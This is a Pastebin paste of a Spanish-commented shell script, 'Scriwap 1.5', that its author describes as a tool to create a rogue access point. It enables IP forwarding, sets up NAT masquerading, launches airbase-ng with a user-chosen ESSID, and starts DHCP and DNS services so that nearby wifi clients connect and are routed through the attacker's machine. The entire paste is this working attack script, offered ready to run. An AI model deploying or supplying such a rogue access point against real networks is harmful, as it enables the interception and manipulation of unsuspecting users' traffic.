SHARE
TWEET

sch3m4

a guest Oct 4th, 2009 799 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/sh
  2. #
  3. # Scriwap 1.5 - Script to create rogue AP
  4. #
  5. # Chema Garcia (a.k.a. sch3m4)
  6. # sch3m4@opensec.es
  7. # http://opensec.es
  8. #
  9.  
  10. RUTA_AIRBASE='/usr/local/sbin/airbase-ng'
  11. RUTA_BIND9='/etc/init.d/bind9'
  12. RUTA_DHCPD3S='/etc/init.d/dhcp3-server'
  13. RUTA_DHCPD3='/usr/sbin/dhcpd3'
  14. RUTA_CFG_DHCPD3='/etc/dhcp3/dhcpd.conf'
  15. RUTA_SYSCTL='/sbin/sysctl'
  16. RUTA_IPTABLES='/sbin/iptables'
  17. AIRBASE_IFACE='at0'
  18. LOG='.scriwap.log'
  19.  
  20. function check
  21. {
  22.         if [ ! $? -eq 0 ]
  23.         then
  24.                 echo -e "[!] Error - Check \"$LOG\""
  25.                 exit $?
  26.         fi
  27. }
  28.  
  29. echo "###############################"
  30. echo "#        SCRIWAP 1.5          #"
  31. echo "#=============================#"
  32. echo "#  Chema Garcia (aka sch3m4)  #"
  33. echo "#      sch3m4@opensec.es      #"
  34. echo "#      http://opensec.es      #"
  35. echo "###############################"
  36. echo ""
  37.  
  38. if [ $# -lt 4 ]
  39. then
  40.         echo -e "Use: " $0 " <iface_inet> <iface_monitor> <ip_gw> <netmask> <airbase_opt>\n"
  41.         echo -e "Ej:  " $0 " wlan0 rausb0 10.0.0.1 255.0.0.0 -P -C 2 -c 6 --essid Wifli\n"
  42.         exit 1
  43. fi
  44.  
  45. if [ ! $UID -eq 0 ]
  46. then
  47.         sudo ls / 2>&1 >/dev/null
  48. fi
  49.  
  50. #comienzo de parametros de airbase
  51. ifacenet=$1
  52. ifacemon=$2
  53. ip=$3
  54. mascara=$4
  55. narg=$#
  56. num=5
  57.  
  58. while [ $# -gt 0 ] && [ $num -le $narg ];do
  59.         param="$param $5"
  60.         shift
  61.         num=$(($num+1))
  62. done
  63. param="$param $ifacemon"
  64.  
  65. #Activamos el IP Forwarding
  66. echo "[+] Setting up IP Forwarding"
  67. sudo $RUTA_SYSCTL net.ipv4.ip_forward=1 2>&1 >> $LOG
  68. check
  69.  
  70. echo "[+] Stopping DHCP daemon"
  71. sudo $RUTA_DHCPD3S stop 2>&1 >> $LOG
  72. echo "[+] Stopping DNS daemon"
  73. sudo $RUTA_BIND9 stop 2>&1 >> $LOG
  74.  
  75. echo "[+] Flushing 'nat' table"
  76. sudo $RUTA_IPTABLES -t nat -F
  77. check
  78.  
  79. echo "[+] Adding iptables rule"
  80. sudo $RUTA_IPTABLES -t nat -A POSTROUTING -o $ifacenet -j MASQUERADE
  81. check
  82.  
  83. echo "[+] Setting up Acces Point..."
  84. sudo rmmod tun 2>&1 >> $LOG
  85. xterm -e sudo $RUTA_AIRBASE $param &
  86. sleep 3
  87.  
  88. echo "[+] Settin up interface $AIRBASE_IFACE"
  89. sudo ifconfig $AIRBASE_IFACE $ip netmask $mascara up
  90. check
  91.  
  92. echo "[+] Starting DHCP daemon"
  93. sudo $RUTA_DHCPD3 -cf $RUTA_CFG_DHCPD3 $AIRBASE_IFACE 2>&1 >> $LOG
  94. check
  95.  
  96. echo "[+] Starting DNS daemon"
  97. sudo $RUTA_BIND9 start 2>&1 >> $LOG
  98. check
  99.  
  100. echo -e "\n[+] Finished!\n"
  101.  
  102. exit 0
RAW Paste Data
Top